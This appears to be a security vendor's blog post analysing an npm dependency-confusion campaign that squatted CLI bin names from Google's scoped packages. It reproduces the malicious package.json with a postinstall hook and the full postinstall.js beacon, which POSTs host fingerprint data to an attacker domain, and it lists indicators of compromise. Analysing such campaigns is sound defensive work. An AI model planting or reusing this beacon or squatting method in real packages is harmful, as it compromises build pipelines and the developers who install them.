---
title: "npm Bin Entry Harvesting: A Dependency Confusion Blind Spot"
description: "21 malicious npm packages targeted Google by squatting CLI binary names from scoped packages, not package names. The technique exploits a structural gap that standard dependency confusion defenses do not cover."
url: "https://safedep.io/blog/google-dep-confusion-bin-harvesting"
author: "SafeDep Team"
published: "2026-08-14"
---

# npm Bin Entry Harvesting: A Dependency Confusion Blind Spot

## Summary

On August 12, 2026, an actor published 21 npm packages that squatted CLI binary names exposed by
Google's scoped packages. The packages did not squat package names. They targeted the `bin` field,
the part of `package.json` that defines executable command names. Every scoped package that
declares a `bin` entry creates an unscoped name that anyone can register. None of the standard
dependency confusion mitigations (scoped publishing, registry allowlists, lockfile pinning) cover
this gap. The payload was a minimal postinstall beacon. The technique is the story.

Affected packages: [CSV](https://safedep.io/data/blogs/google-dep-confusion-bin-harvesting-packages.csv)

## The technique

Dependency confusion, as [Alex Birsan documented in 2021](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610),
works by registering public packages whose names match internal private dependencies. The defense
is straightforward: publish your internal packages under a scope (`@myorg/package`) and the public
registry cannot create a naming conflict.

That defense has a structural gap. When a scoped package declares a `bin` entry, the binary name
cannot include the scope. The `@angular/service-worker` package exposes a binary called
`ngsw-config`. The `@bazel/bazelisk` package exposes a binary called `bazelisk`. These names live
in the public npm metadata, visible to anyone:

```bash
curl -s https://registry.npmjs.org/@angular/service-worker/latest | jq '.bin'
```

```json
{
  "ngsw-config": "ngsw-config.js"
}
```

The binary name `ngsw-config` was never registered as a standalone npm package. Neither was
`bazelisk`, `localize-extract`, `gemini-cli-a2a-server`, nor any of the other 20 names in this
campaign. They sat unclaimed because nobody thinks to reserve binary names.

The researcher behind this campaign built a systematic pipeline around
this gap. Query Google affiliated scoped packages for their `bin` entries. Strip the scope. Check
which binary names have no matching standalone package on the public registry. Register them.

## What the packages contained

Every package followed the same template: a `package.json` with a postinstall hook, a
`postinstall.js` beacon, and a `source.txt` file pointing to the legitimate Google repository
where the squatted name originates.

```json
// package/package.json (ngsw-config@1.0.0)
{
  "name": "ngsw-config",
  "version": "1.0.0",
  "bin": { "ngsw-config": "noop.js" },
  "scripts": { "postinstall": "node postinstall.js" },
  "description": "Security research canary for authorized vulnerability testing.",
  "author": "r00tdaddy",
  "license": "ISC"
}
```

The postinstall script collected system fingerprint data and sent it to a per-package subdomain:

```javascript
// package/postinstall.js (ngsw-config@1.0.0)
const os = require('os');
const https = require('https');

const metadata = JSON.stringify({
  timestamp: new Date().toISOString(),
  pkg: process.env.npm_package_name,
  hostname: os.hostname(),
  platform: process.platform,
  arch: process.arch,
  node: process.version,
  npmEvent: process.env.npm_lifecycle_event,
});

const request = https.request({
  hostname: 'wxc97jnc.instances.poc.jchunt.top',
  path: '/ngsw-config',
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'Content-Length': Buffer.byteLength(metadata),
  },
});

request.on('error', () => {});
request.setTimeout(3000, () => request.destroy());
request.write(metadata);
request.end();
```

The beacon collects no credentials, tokens, files, or environment variables. It sends a system
fingerprint (hostname, platform, CPU architecture, Node version) to confirm that a build system
installed the package and to identify the machine. This is the standard dependency confusion proof
of concept pattern.

The `source.txt` file in each package documented exactly where the researcher found the squatted
name:

```
// source.txt (ngsw-config@1.0.0)
https://github.com/angular/angular/blob/435f8b2b8b67277fc69888911251d14b32705828/packages/service-worker/package.json
```

These breadcrumbs use commit-SHA permalinks, not branch references. The researcher documented
their evidence chain for a potential responsible disclosure report.

## Reconnaissance method

The 21 packages came from three discovery techniques, visible in the `source.txt` references.

**npm registry metadata scraping.** Eighteen of the 21 names match confirmed `bin` entries in
packages on the public npm registry. The `@angular/localize` package declares
`localize-extract` and `localize-translate` as binaries. The `google-ads-api-report-fetcher`
package declares `gaarf`, `gaarf-bq`, `gaarf-node`, and `gaarf-node-bq`. The
`chromecast-webdriver-server` package declares `chromecast-webdriver-cli`. The scoped packages
`@google/gemini-cli-a2a-server`, `@google/chrome-enterprise-premium-mcp`,
`@googlemaps/code-assist-mcp`, `@googlemaps/github-policy-bot`, and `@bazel/bazelisk` each
declare a bin entry matching their unscoped name. Even `koa-karma-proxy` (a Polymer project)
exposes `karma-proxy` as a bin entry. Nobody had registered any of these 18 binary names as
standalone packages before this campaign.

**Sourcegraph and GitHub crawling.** Three packages (`broadcast-graphics-mcp`, `upload-to-gcp`,
`tfjs-inference`) have no matching bin entry on any public npm package. Their `source.txt` files
point to GitHub repositories or Sourcegraph searches, suggesting the researcher found these names
in `package.json` files inside Google repositories that were never published to the public
registry. The `@tensorflow/tfjs-inference` directory exists in the `tensorflow/tfjs` monorepo
with `private: false` set, but was never published to npm.

## Campaign timeline

The actor published in two waves on August 12, 2026, then removed everything:

| Wave      | Time (UTC)        | Packages               | Version | Notes                                |
| --------- | ----------------- | ---------------------- | ------- | ------------------------------------ |
| 1         | 13:23             | gaarf, `upload-to-gcp` | 3.2.1   | Version-matched real release lines   |
| 2         | 16:57-16:59       | 19 remaining packages  | 1.0.0   | Bulk publish in 70 seconds           |
| Unpublish | 17:22:18-17:22:50 | All 21                 |         | Alphabetical order, 32-second window |

The four-hour gap between wave 1 and wave 2 suggests the researcher waited for callbacks before
committing the full list. The 32-second unpublish window and alphabetical ordering indicate an
automated script.

Two packages used version `3.2.1` instead of `1.0.0`. For `gaarf`, the legitimate
`google-ads-api-report-fetcher` has versions 3.2.0 and 3.3.0, but 3.2.1 was never published. The
researcher fabricated a plausible patch version between two real releases.

## The 21 packages and their targets

[google-dep-confusion-bin-harvesting-packages.csv](https://safedep.io/data/blogs/google-dep-confusion-bin-harvesting-packages.csv)

npm user `rootdaddy-msrc` (`ayyitscompton@gmail[.]com`) published all 21 packages with the author
field set to `r00tdaddy`.

## Prior art

The technique builds on established research. [alxndrsn documented npm binary
confusion](https://www.alxndrsn.com/2024-08-01-npx-binary-confusion/) in August 2024, showing that
squatted bin names could hijack `npx` execution. npm rejected the report as "consistent with
documented expectations." Roni Carta and Adnan Khan [formalized "npx confusion" at the DEF CON
33 security conference](https://defcon.outel.org/defcon33/) in August 2025. [Aikido found 128 unclaimed package
names](https://www.aikido.dev/blog/npx-confusion-unclaimed-package-names) referenced in
documentation and observed 121,000 downloads over seven months.

This campaign differs in one respect. Prior research focused on `npx` execution hijacking, where
a developer types `npx <binary>` and npm resolves the binary name as a package. This campaign
targets `npm install` via postinstall hooks. If an internal build system references `ngsw-config`
as a bare dependency instead of consuming it through `@angular/service-worker`, the public package
wins. The attack surface shifts from individual developers running `npx` to automated build
pipelines resolving dependencies.

## The defensive gap

Standard dependency confusion mitigations do not cover bin entry names:

| Mitigation                   | Covers package names | Covers bin names                     |
| ---------------------------- | -------------------- | ------------------------------------ |
| Scoped packages (@org/pkg)   | Yes                  | No (bin names cannot include scopes) |
| Claim unscoped placeholders  | Yes (if names known) | No (nobody claims bin names)         |
| Registry allowlists (.npmrc) | Yes                  | No                                   |
| lockfile pinning             | Yes                  | No                                   |

Organizations that publish scoped packages should audit the `bin` entries those packages expose
and register the unscoped names as placeholder packages on the public registry. A query across all
packages in a scope produces the list:

```bash
# List all bin entries exposed by packages in an npm scope
for pkg in $(npm search --json "@myorg" 2>/dev/null | jq -r '.[].name'); do
  curl -s "https://registry.npmjs.org/$pkg/latest" | jq -r '.bin // empty | keys[]'
done | sort -u
```

Any name in that list that does not exist as a standalone npm package is a dependency confusion
vector.

## Indicators of compromise

- **npm publisher:** `rootdaddy-msrc` (`ayyitscompton@gmail[.]com`)
- **C2 domain:** `*.instances.poc.jchunt[.]top` (wildcard DNS, resolves to `152.53.138.110`)
- **C2 apex:** `jchunt[.]top` (behind Cloudflare at `104.21.61.226`, `172.67.216.7`)
- **Payload:** `postinstall.js` sends system fingerprint (hostname, platform, architecture, Node version) via HTTPS POST
- **POST path:** `/<package-name>` (one path per package)
- **21 unique C2 subdomains**, one per package
- **All packages removed** from npm registry within hours of publication. Artifacts recovered from npmmirror.com

## References

- [alxndrsn: Squatting npm for Remote Code Execution (August 2024)](https://www.alxndrsn.com/2024-08-01-npx-binary-confusion/)
- [Alex Birsan: Dependency Confusion (February 2021)](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
- [SafeDep: sl4x0 Dependency Confusion Campaign](https://safedep.io/blog/sl4x0-dependency-confusion-campaign)
- [SafeDep: oob.moika.tech Dependency Confusion Campaign](https://safedep.io/blog/oob-moika-tech-dependency-confusion-campaign)
- [SafeDep: Genoma UI Dependency Confusion Campaign](https://safedep.io/blog/malicious-genoma-ui-npm-dependency-confusion-campaign)
